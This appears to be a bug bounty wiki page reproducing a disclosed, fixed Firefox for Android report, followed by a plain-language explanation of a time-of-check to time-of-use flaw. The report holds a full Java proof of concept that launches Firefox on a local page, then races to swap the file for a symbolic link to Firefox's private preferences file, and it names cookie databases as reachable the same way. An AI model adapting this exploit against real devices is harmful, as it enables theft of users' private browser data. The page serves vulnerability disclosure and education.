Firefox for Android - Theft of sensitive data
A time-of-check to time-of-use flaw in Firefox for Android let a malicious app swap a file the browser was about to open for a symbolic link to Firefox's private data. The attacker app could then read the browser's private preference file, and the same approach could reach cookie databases.
Originally disclosed on Mozilla
- Fixed in 5 days
- Paid in 30 days
- Disclosed after 5 days
Created attachment 9195132
app-debug.apk
There is a TOCTOU vulnerability that can lead to the theft of users' private files (such as cookies databases) in /data/data/org.mozilla.firefox/ .
PoC:
'''java
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
File payload = new File(getDataDir(), "test.html");
payload.delete();
payload.createNewFile();
payload.setReadable(true, false);
payload.setWritable(true, false);
payload.setExecutable(true, false);
FileOutputStream fos = null;
fos = new FileOutputStream(payload);
String evilhtml = "<html>\n" +
"<h1 id=\"try\"></h1>\n" +
"<script>\n" +
"let count = 1;\n" +
"let timer = setInterval(()=>{\n" +
" document.getElementById(\"try\").innerHTML = \"try \" + count;\n" +
" count++;\n" +
" let xhr = new XMLHttpRequest();\n" +
" try {\n" +
" xhr.open(\"GET\", location.href, false);\n" +
" xhr.send();\n" +
" if(xhr.responseText.indexOf(\"#evilhtml#\") == -1) {\n" +
" alert(xhr.responseText);\n" +
" clearInterval(timer);\n" +
" }\n" +
" } catch(error){\n" +
" //console.log(error);\n" +
" }\n" +
"\n" +
"}, 100)\n" +
"</script>\n" +
"</html>";
fos.write(evilhtml.getBytes());
fos.close();
Thread.sleep(1000); //adjust millis
Intent intent = new Intent();
intent.setComponent(new ComponentName("org.mozilla.firefox", "org.mozilla.gecko.LauncherActivity"));
intent.setAction(Intent.ACTION_VIEW);
intent.setData(Uri.fromFile(payload));
startActivity(intent);
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
try {
Thread.sleep(5000); //adjust millis
} catch (InterruptedException e) {
e.printStackTrace();
}
Thread createFileThread = new Thread() {
@Override
public void run() {
while(running) {
try {
File payload = new File(getDataDir(), "test.html");
payload.delete();
payload.createNewFile();
Runtime.getRuntime().exec("ln -sf /data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml "
+ payload.getAbsolutePath()).waitFor();
payload.setReadable(true, false);
payload.setWritable(true, false);
payload.setExecutable(true, false);
}
catch(Exception e) {
// should be never thrown
e.printStackTrace();
}
}
}
};
createFileThread.start();
}
'''
Firefox Version: 84.1.2
Android Version: 9
Steps to reproduce:
1. Open the PoC app. (app-debug.apk)
2. It will theft the private file of firefox. (/data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml)
Screen record:
https://drive.google.com/file/d/1rdvHF_i9tFuxLLilcNCBVJKcxnIz3L8y/view?usp=sharing
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the browser opened a file supplied by another app without protecting against the file being replaced by a symbolic link between the check and the use.
Impact
A malicious app installed on the same device could read Firefox's private files, including the preferences file demonstrated and potentially cookie databases.
What the attacker needed
Malicious app installed on the device; user opens the file via the malicious app
How it was found
- Install and open the proof-of-concept app.
- The app writes a local HTML file and asks Firefox to open it.
- After a delay, a background thread repeatedly deletes the file and replaces it with a symbolic link to Firefox's private preferences file.
- The page in Firefox reloads itself and shows the file contents when it no longer matches the original page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When an app opens a file, it first checks the file and later reads it. If another app can replace the file in between those two moments, the browser ends up reading something it should not. Here a malicious app swapped in a shortcut (a symbolic link) pointing at Firefox's own private storage, so the browser displayed its secret data back to the attacker's page.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.